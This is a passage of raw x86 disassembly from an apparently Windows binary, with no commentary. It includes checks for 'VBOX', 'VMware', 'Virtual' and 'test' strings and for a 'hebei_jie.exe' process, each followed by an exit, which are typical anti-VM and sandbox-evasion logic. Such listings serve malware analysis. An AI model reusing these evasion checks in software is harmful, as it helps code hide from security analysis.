jne 0x405937
mov eax, 0x567c1d
push eax
push 4
mov ebx, 0x44f010
call fcn.0044e41e
add esp, 0x34
mov dword [ebp - 0x7c], eax
fild dword [ebp - 0x7c]
fstp qword [ebp - 0x7c]
fld qword [ebp - 0x7c]
fadd qword [0x5683ae]
fstp qword [ebp - 0x84]
push reloc.WS2_32.dll_bind
push 0
push 0
push 0
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push 0x5683b6
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x34]
test eax, eax
jne 0x405993
mov eax, 0x567c1d
push eax
push 4
mov ebx, 0x44f010
call fcn.0044e41e
add esp, 0x34
mov dword [ebp - 0x88], eax
push reloc.WS2_32.dll_bind
push 0
push 0
push 0
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push 0x5683ab
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x34]
test eax, eax
jne 0x4059dd
mov eax, 0x567c1d
push eax
push 4
mov ebx, 0x44f010
call fcn.0044e41e
add esp, 0x34
mov dword [ebp - 0x8c], eax
fild dword [ebp - 0x88]
fstp qword [ebp - 0x94]
fld qword [ebp - 0x94]
fild dword [ebp - 0x8c]
fstp qword [ebp - 0x9c]
fsub qword [ebp - 0x9c]
fsub qword [0x5683ae]
fstp qword [ebp - 0xa4]
fld qword [ebp - 0xa4]
call fcn.00401185
push 0x80000301
push 0
push eax
fld qword [ebp - 0x84]
call fcn.00401185
push 0x80000301
push 0
push eax
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x34]
test eax, eax
jne 0x405a5f
mov eax, 0x567c1d
push eax
push 3
mov ebx, 0x44edb0
call fcn.0044e41e
add esp, 0x28
mov dword [ebp - 0xa8], eax
mov eax, dword [ebp - 0xa8]
push eax
mov ebx, dword [ebp - 0x5c]
test ebx, ebx
je 0x405a8f
push ebx
call fcn.0044e406
add esp, 4
pop eax
mov dword [ebp - 0x5c], eax
push reloc.WS2_32.dll_bind
push 0
push 0
push 0
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push 0x5683b9
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x5c]
test eax, eax
jne 0x405ac4
mov eax, 0x567c1d
push eax
push 4
mov ebx, 0x44f010
call fcn.0044e41e
add esp, 0x34
mov dword [ebp - 0x7c], eax
fild dword [ebp - 0x7c]
fstp qword [ebp - 0x7c]
fld qword [ebp - 0x7c]
fsub qword [0x567e8e]
fstp qword [ebp - 0x84]
fld qword [ebp - 0x84]
call fcn.00401185
push 0x80000301
push 0
push eax
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x5c]
test eax, eax
jne 0x405b15
mov eax, 0x567c1d
push eax
push 2
mov ebx, 0x44ed20
call fcn.0044e41e
add esp, 0x1c
mov dword [ebp - 0x88], eax
push 0
push dword [ebp - 0x88]
push 0xffffffffffffffff
push 8
push 0x160100da
push 0x52010001
call fcn.0044e43c
add esp, 0x18
mov ebx, dword [ebp - 0x88]
test ebx, ebx
je 0x405b5f
push ebx
call fcn.0044e406
add esp, 4
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x5c]
test eax, eax
jne 0x405b72
mov eax, 0x567c1d
push eax
push 1
mov ebx, 0x44e9c0
call fcn.0044e41e
add esp, 0x10
mov dword [ebp - 0x74], eax
push reloc.WS2_32.dll_bind
push 0
push 0
push 0
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push 0x5683b9
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x5c]
test eax, eax
jne 0x405bb9
mov eax, 0x567c1d
push eax
push 4
mov ebx, 0x44f010
call fcn.0044e41e
add esp, 0x34
mov dword [ebp - 0x78], eax
fild dword [ebp - 0x74]
fstp qword [ebp - 0x80]
fld qword [ebp - 0x80]
fild dword [ebp - 0x78]
fstp qword [ebp - 0x88]
fsub qword [ebp - 0x88]
fstp qword [ebp - 0x90]
fld qword [ebp - 0x90]
call fcn.00401185
push 0x80000301
push 0
push eax
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x5c]
test eax, eax
jne 0x405c13
mov eax, 0x567c1d
push eax
push 2
mov ebx, 0x44ed60
call fcn.0044e41e
add esp, 0x1c
mov dword [ebp - 0x94], eax
push 0
push dword [ebp - 0x94]
push 0xffffffffffffffff
push 8
push 0x160100db
push 0x52010001
call fcn.0044e43c
add esp, 0x18
mov ebx, dword [ebp - 0x94]
test ebx, ebx
je 0x405c5d
push ebx
call fcn.0044e406
add esp, 4
push reloc.WS2_32.dll_bind
push 0
push 1
push 0
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push 0x5683bb
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x34]
test eax, eax
jne 0x405c8e
mov eax, 0x567c1d
push eax
push 4
mov ebx, 0x44f010
call fcn.0044e41e
add esp, 0x34
mov dword [ebp - 0x78], eax
cmp dword [ebp - 0x78], 0xffffffff
je 0x405e51
push reloc.WS2_32.dll_bind
push 0
push 0
push 0
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push 0x5683c4
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x34]
test eax, eax
jne 0x405cdf
mov eax, 0x567c1d
push eax
push 4
mov ebx, 0x44f010
call fcn.0044e41e
add esp, 0x34
mov dword [ebp - 0x7c], eax
fild dword [ebp - 0x7c]
fstp qword [ebp - 0x7c]
fld qword [ebp - 0x7c]
fadd qword [0x5683ae]
fstp qword [ebp - 0x84]
push reloc.WS2_32.dll_bind
push 0
push 0
push 0
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push 0x5683c7
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x34]
test eax, eax
jne 0x405d3b
mov eax, 0x567c1d
push eax
push 4
mov ebx, 0x44f010
call fcn.0044e41e
add esp, 0x34
mov dword [ebp - 0x88], eax
push reloc.WS2_32.dll_bind
push 0
push 0
push 0
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push 0x5683c4
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x34]
test eax, eax
jne 0x405d85
mov eax, 0x567c1d
push eax
push 4
mov ebx, 0x44f010
call fcn.0044e41e
add esp, 0x34
mov dword [ebp - 0x8c], eax
fild dword [ebp - 0x88]
fstp qword [ebp - 0x94]
fld qword [ebp - 0x94]
fild dword [ebp - 0x8c]
fstp qword [ebp - 0x9c]
fsub qword [ebp - 0x9c]
fsub qword [0x5683ae]
fstp qword [ebp - 0xa4]
fld qword [ebp - 0xa4]
call fcn.00401185
push 0x80000301
push 0
push eax
fld qword [ebp - 0x84]
call fcn.00401185
push 0x80000301
push 0
push eax
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x34]
test eax, eax
jne 0x405e07
mov eax, 0x567c1d
push eax
push 3
mov ebx, 0x44edb0
call fcn.0044e41e
add esp, 0x28
mov dword [ebp - 0xa8], eax
push 0
push dword [ebp - 0xa8]
push 0xffffffffffffffff
push 8
push 0x160100dc
push 0x52010001
call fcn.0044e43c
add esp, 0x18
mov ebx, dword [ebp - 0xa8]
test ebx, ebx
je 0x405e51
push ebx
call fcn.0044e406
add esp, 4
push reloc.WS2_32.dll_bind
push 0
push 1
push 0
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push 0x5683ca
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x34]
test eax, eax
jne 0x405e82
mov eax, 0x567c1d
push eax
push 4
mov ebx, 0x44f010
call fcn.0044e41e
add esp, 0x34
mov dword [ebp - 0x78], eax
cmp dword [ebp - 0x78], 0xffffffff
je 0x40616d
mov dword [ebp - 0x74], 0
push 0
push dword [ebp - 0x74]
mov dword [ebp - 0x78], 0
push 0
push dword [ebp - 0x78]
mov eax, 0x5683d5
mov dword [ebp - 0x7c], eax
lea eax, [ebp - 0x7c]
push eax
mov eax, 0x5683ca
mov dword [ebp - 0x80], eax
lea eax, [ebp - 0x80]
push eax
lea eax, [ebp - 0x34]
push eax
call fcn.00407f3b
mov dword [ebp - 0x84], eax
mov ebx, dword [ebp - 0x80]
test ebx, ebx
je 0x405ef1
push ebx
call fcn.0044e406
add esp, 4
mov ebx, dword [ebp - 0x7c]
test ebx, ebx
je 0x405f01
push ebx
call fcn.0044e406
add esp, 4
mov eax, dword [ebp - 0x84]
push eax
mov ebx, dword [ebp - 0x60]
test ebx, ebx
je 0x405f18
push ebx
call fcn.0044e406
add esp, 4
pop eax
mov dword [ebp - 0x60], eax
lea eax, [ebp - 4]
push eax
call fcn.00414e0b
mov dword [ebp - 0x74], eax
mov eax, dword [ebp - 0x74]
push eax
mov ebx, dword [ebp - 0x64]
test ebx, ebx
je 0x405f3c
push ebx
call fcn.0044e406
add esp, 4
pop eax
mov dword [ebp - 0x64], eax
push 0x567c1d
push dword [ebp - 0x64]
call fcn.00401021
add esp, 8
cmp eax, 0
jne 0x405f7f
lea eax, [ebp - 4]
push eax
call fcn.00414e0b
mov dword [ebp - 0x74], eax
mov eax, dword [ebp - 0x74]
push eax
mov ebx, dword [ebp - 0x64]
test ebx, ebx
je 0x405f79
push ebx
call fcn.0044e406
add esp, 4
pop eax
mov dword [ebp - 0x64], eax
jmp 0x405f40
push 0
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push 0x567e8c
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x60]
test eax, eax
jne 0x405fa4
mov eax, 0x567c1d
push eax
push 3
mov ebx, 0x44f9a0
call fcn.0044e41e
add esp, 0x28
mov dword [ebp - 0x74], eax
mov eax, dword [ebp - 0x74]
push eax
mov ebx, dword [ebp - 0x68]
push ebx
mov ecx, dword [ebx]
add ebx, 4
test ecx, ecx
je 0x405fdc
mov eax, dword [ebx]
add ebx, 4
dec ecx
je 0x405fd8
imul eax, dword [ebx]
jmp 0x405fcd
mov ecx, eax
test ecx, ecx
je 0x405ffb
push ecx
mov eax, dword [ebx]
test eax, eax
je 0x405ff4
push ebx
push eax
call fcn.0044e406
add esp, 4
pop ebx
add ebx, 4
pop ecx
dec ecx
jne 0x405fe2
call fcn.0044e406
add esp, 4
pop eax
mov dword [ebp - 0x68], eax
mov ebx, dword [ebp - 0x68]
call fcn.00401a6c
xor ecx, ecx
push eax
lea eax, [ebp - 0x6c]
mov ebx, eax
pop eax
inc ecx
push ecx
push ebx
mov dword [ebx], ecx
push eax
cmp ecx, eax
jg 0x4060c6
mov ebx, dword [ebp - 0x68]
call fcn.00401a85
push ebx
push ecx
mov eax, dword [ebp - 0x6c]
dec eax
jns 0x406043
push 4
call fcn.0044e412
add esp, 4
pop ecx
pop ebx
cmp eax, ecx
jl 0x406056
push 1
call fcn.0044e412
add esp, 4
shl eax, 2
add ebx, eax
mov dword [ebp - 0x74], ebx
push reloc.WS2_32.dll_bind
push 0
push 0
push 0
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
mov ebx, dword [ebp - 0x74]
mov eax, dword [ebx]
test eax, eax
jne 0x406085
mov eax, 0x567c1d
push eax
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x64]
test eax, eax
jne 0x406099
mov eax, 0x567c1d
push eax
push 4
mov ebx, 0x44f010
call fcn.0044e41e
add esp, 0x34
mov dword [ebp - 0x70], eax
cmp dword [ebp - 0x70], 0xffffffff
je 0x4060be
jmp 0x4060c6
pop eax
pop ebx
pop ecx
jmp 0x406018
add esp, 0xc
cmp dword [ebp - 0x70], 0xffffffff
jne 0x40616d
mov dword [0x5cee14], 0
push 0x5683d8
push dword [ebp - 0x64]
push 0x5683fd
mov ecx, 3
call fcn.00401129
add esp, 0xc
mov dword [ebp - 0x74], eax
mov ebx, 6
call fcn.00401a64
push 0x80000301
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x74]
test eax, eax
jne 0x406123
mov eax, 0x567c1d
push eax
push 4
mov ebx, 0x451870
call fcn.0044e41e
add esp, 0x34
mov ebx, dword [ebp - 0x74]
test ebx, ebx
je 0x406146
push ebx
call fcn.0044e406
add esp, 4
push 0
push 1
push 0xffffffffffffffff
push 6
push 0x16010010
push 0x52010001
call fcn.0044e43c
add esp, 0x18
push 0
call fcn.0044e42a
add esp, 4
push reloc.WS2_32.dll_bind
push 0
push 1
push 0
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push 0x568402
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x34]
test eax, eax
jne 0x40619e
mov eax, 0x567c1d
push eax
push 4
mov ebx, 0x44f010
call fcn.0044e41e
add esp, 0x34
mov dword [ebp - 0x78], eax
cmp dword [ebp - 0x78], 0xffffffff
je 0x406312
push reloc.WS2_32.dll_bind
push 0
push 1
push 0
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.VBOX
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [0x5cee28]
test eax, eax
jne 0x4061f1
mov eax, 0x567c1d
push eax
push 4
mov ebx, 0x44f010
call fcn.0044e41e
add esp, 0x34
mov dword [ebp - 0x78], eax
cmp dword [ebp - 0x78], 0xffffffff
jne 0x4062c7
push reloc.WS2_32.dll_bind
push 0
push 1
push 0
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.Virtual
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [0x5cee28]
test eax, eax
jne 0x406244
mov eax, 0x567c1d
push eax
push 4
mov ebx, 0x44f010
call fcn.0044e41e
add esp, 0x34
mov dword [ebp - 0x84], eax
cmp dword [ebp - 0x84], 0xffffffff
jne 0x4062c7
push reloc.WS2_32.dll_bind
push 0
push 1
push 0
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.VMware
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [0x5cee28]
test eax, eax
jne 0x40629d
mov eax, 0x567c1d
push eax
push 4
mov ebx, 0x44f010
call fcn.0044e41e
add esp, 0x34
mov dword [ebp - 0x90], eax
cmp dword [ebp - 0x90], 0xffffffff
jne 0x4062c7
xor eax, eax
jmp 0x4062cc
mov eax, 1
test eax, eax
je 0x406312
mov ebx, 6
call fcn.00401a64
push 0x80000301
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push 0x568424
push 4
mov ebx, 0x451870
call fcn.0044e41e
add esp, 0x34
push 0
call fcn.0044e42a
add esp, 4
push reloc.WS2_32.dll_bind
push 0
push 1
push 0
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push 0x568435
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x34]
test eax, eax
jne 0x406343
mov eax, 0x567c1d
push eax
push 4
mov ebx, 0x44f010
call fcn.0044e41e
add esp, 0x34
mov dword [ebp - 0x78], eax
cmp dword [ebp - 0x78], 0xffffffff
je 0x40648e
push 0xffffffffffffffff
push 8
push 0x160100e0
push 0x52010001
call fcn.0044e436
add esp, 0x10
mov dword [ebp - 0x74], eax
push reloc.WS2_32.dll_bind
push 0
push 1
push 0
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.test
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x74]
test eax, eax
jne 0x4063ad
mov eax, 0x567c1d
push eax
push 4
mov ebx, 0x44f010
call fcn.0044e41e
add esp, 0x34
mov dword [ebp - 0x78], eax
mov ebx, dword [ebp - 0x74]
test ebx, ebx
je 0x4063d3
push ebx
call fcn.0044e406
add esp, 4
cmp dword [ebp - 0x78], 0xffffffff
je 0x406443
push 0xffffffffffffffff
push 8
push 0x160100e0
push 0x52010001
call fcn.0044e436
add esp, 0x10
mov dword [ebp - 0x80], eax
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x80]
test eax, eax
jne 0x406409
mov eax, 0x567c1d
push eax
push 1
mov ebx, 0x44e9c0
call fcn.0044e41e
add esp, 0x10
mov dword [ebp - 0x84], eax
mov ebx, dword [ebp - 0x80]
test ebx, ebx
je 0x406432
push ebx
call fcn.0044e406
add esp, 4
cmp dword [ebp - 0x84], 4
jne 0x406443
xor eax, eax
jmp 0x406448
mov eax, 1
test eax, eax
je 0x40648e
mov ebx, 6
call fcn.00401a64
push 0x80000301
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push 0x568445
push 4
mov ebx, 0x451870
call fcn.0044e41e
add esp, 0x34
push 0
call fcn.0044e42a
add esp, 4
push reloc.WS2_32.dll_bind
push 0
push 1
push 0
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push 0x56846e
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x34]
test eax, eax
jne 0x4064bf
mov eax, 0x567c1d
push eax
push 4
mov ebx, 0x44f010
call fcn.0044e41e
add esp, 0x34
mov dword [ebp - 0x78], eax
cmp dword [ebp - 0x78], 0xffffffff
je 0x4065fc
push 0
mov ebx, 0x44ea20
call fcn.0044e41e
add esp, 4
mov dword [ebp - 0x74], eax
push str.hebei_jie.exe
push dword [ebp - 0x74]
call fcn.00401021
add esp, 8
cmp eax, 0
mov eax, 0
setne al
mov dword [ebp - 0x78], eax
mov ebx, dword [ebp - 0x74]
test ebx, ebx
je 0x406522
push ebx
call fcn.0044e406
add esp, 4
cmp dword [ebp - 0x78], 0
je 0x40657d
mov dword [0x5cee14], 0
mov dword [ebp - 0x74], esp
push 0x7d0
push 0
push 0x40
push 0x567e03
push 0x568485
push 0
mov eax, 0
call fcn.0044e418
cmp dword [ebp - 0x74], esp
je 0x406573
push 6
call fcn.0044e412
add esp, 4
push 0
call fcn.0044e42a
add esp, 4
mov eax, str.hebei_jie.exe
mov dword [ebp - 0x74], eax
lea eax, [ebp - 0x74]
push eax
call fcn.00415043
mov dword [ebp - 0x78], eax
mov ebx, dword [ebp - 0x74]
test ebx, ebx
je 0x4065a1
push ebx
call fcn.0044e406
add esp, 4
cmp dword [ebp - 0x78], 1
jle 0x4065fc
mov dword [0x5cee14], 0
mov dword [ebp - 0x74], esp
push 0x7d0
push 0
push 0x40
push 0x567e03
push 0x5684b2
push 0
mov eax, 0
call fcn.0044e418
cmp dword [ebp - 0x74], esp
je 0x4065f2
push 6
call fcn.0044e412
add esp, 4
push 0
call fcn.0044e42a
add esp, 4
mov ebx, dword [ebp - 4]
test ebx, ebx
je 0x40660c
push ebx
call fcn.0044e406
add esp, 4
mov ebx, dword [ebp - 0xc]
test ebx, ebx
je 0x40661c
push ebx
call fcn.0044e406
add esp, 4
mov ebx, dword [ebp - 0x10]
test ebx, ebx
je 0x40662c
push ebx
call fcn.0044e406
add esp, 4
mov ebx, dword [ebp - 0x14]
test ebx, ebx
je 0x40663c
push ebx
call fcn.0044e406
add esp, 4
mov ebx, dword [ebp - 0x18]
test ebx, ebx
je 0x40664c
push ebx
call fcn.0044e406
add esp, 4
mov ebx, dword [ebp - 0x1c]
push ebx
mov ecx, dword [ebx]
add ebx, 4
test ecx, ecx
je 0x40666a
mov eax, dword [ebx]
add ebx, 4
dec ecx
je 0x406666
imul eax, dword [ebx]
jmp 0x40665b
mov ecx, eax
test ecx, ecx
je 0x406689
push ecx
mov eax, dword [ebx]
test eax, eax
je 0x406682
push ebx
push eax
call fcn.0044e406
add esp, 4
pop ebx
add ebx, 4
pop ecx
dec ecx
jne 0x406670
call fcn.0044e406
add esp, 4
mov ebx, dword [ebp - 0x20]
test ebx, ebx
je 0x4066a1
push ebx
call fcn.0044e406
add esp, 4
mov ebx, dword [ebp - 0x24]
test ebx, ebx
je 0x4066b1
push ebx
call fcn.0044e406
add esp, 4
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x4066c1
push ebx
call fcn.0044e406
add esp, 4
mov ebx, dword [ebp - 0x2c]
test ebx, ebx
je 0x4066d1
push ebx
call fcn.0044e406
add esp, 4
mov ebx, dword [ebp - 0x30]
test ebx, ebx
je 0x4066e1
push ebx
call fcn.0044e406
add esp, 4
mov ebx, dword [ebp - 0x34]
test ebx, ebx
je 0x4066f1
push ebx
call fcn.0044e406
add esp, 4
mov ebx, dword [ebp - 0x3c]
test ebx, ebx
je 0x406701
push ebx
call fcn.0044e406
add esp, 4
mov ebx, dword [ebp - 0x44]
push ebx
mov ecx, dword [ebx]
add ebx, 4
test ecx, ecx
je 0x40671f
mov eax, dword [ebx]
add ebx, 4
dec ecx
je 0x40671b
imul eax, dword [ebx]
jmp 0x406710
mov ecx, eax
test ecx, ecx
je 0x40673e
push ecx
mov eax, dword [ebx]
test eax, eax
je 0x406737
push ebx
push eax
call fcn.0044e406
add esp, 4
pop ebx
add ebx, 4
pop ecx
dec ecx
jne 0x406725
call fcn.0044e406
add esp, 4
mov ebx, dword [ebp - 0x4c]
test ebx, ebx
je 0x406756
push ebx
call fcn.0044e406
add esp, 4
mov ebx, dword [ebp - 0x50]
test ebx, ebx
je 0x406766
push ebx
call fcn.0044e406
add esp, 4
mov ebx, dword [ebp - 0x54]
test ebx, ebx
je 0x406776
push ebx
call fcn.0044e406
add esp, 4
mov ebx, dword [ebp - 0x58]
push ebx
mov ecx, dword [ebx]
add ebx, 4
test ecx, ecx
je 0x406794